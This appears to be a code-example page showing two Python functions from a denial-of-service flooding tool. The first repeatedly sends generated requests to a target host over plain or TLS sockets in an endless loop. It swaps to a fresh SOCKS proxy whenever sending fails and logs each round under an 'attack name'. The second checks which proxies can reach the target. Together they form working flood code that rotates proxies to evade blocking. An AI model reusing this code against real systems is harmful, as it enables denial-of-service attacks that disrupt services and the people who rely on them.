示例#1
0
 def communicate(self, content, proxy, on_proxy_request, multiply):
     from ssl import SSLContext
     from socks import socksocket
     from socket import IPPROTO_TCP, TCP_NODELAY
     while 1:
         with socksocket() as sckt:
             try:
                 if proxy is not None:
                     sckt.set_proxy(proxy['type'], proxy['host'],
                                    proxy['port'])
                 else:
                     sckt.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
                 sckt.connect((self.host, int(self.port)))
                 if self.scheme == "https":
                     sckt = SSLContext().wrap_socket(
                         sckt, server_hostname=self.host)
                 for i in range(multiply):
                     cnt = content()
                     if verbose > 1:
                         print(cnt)
                     sent = sckt.send(str.encode(cnt))
                     if sent <= 0:
                         proxy = on_proxy_request()
                         break
                 if verbose > 0:
                     print('  -> {} - {}'.format(self.get_attack_name(), i))
             except Exception as e:
                 if verbose > 1:
                     print(e)
示例#2
0
 def check_proxy(proxy, host, port, scheme, delay):
     from socks import socksocket
     from ssl import SSLContext
     sent = 0
     with socksocket() as sckt:
         try:
             sckt.set_proxy(proxy['type'], proxy['host'], proxy['port'])
             sckt.settimeout(delay)
             sckt.connect((host, int(port)))
             if scheme == "https":
                 sckt = SSLContext().wrap_socket(sckt, server_hostname=host)
             sent = sckt.send(str.encode("GET / HTTP/1.1\r\n\r\n"))
             return proxy if sent > 0 else None
         except Exception as e:
             if verbose > 1:
                 print(e)
             return None
         finally:
             if verbose > 0:
                 if sent > 0:
                     print('    Proxy: {}:{} - OK'.format(
                         proxy['host'], proxy['port']))
                 elif verbose > 1:
                     print('    Proxy: {}:{} - Fail'.format(
                         proxy['host'], proxy['port']))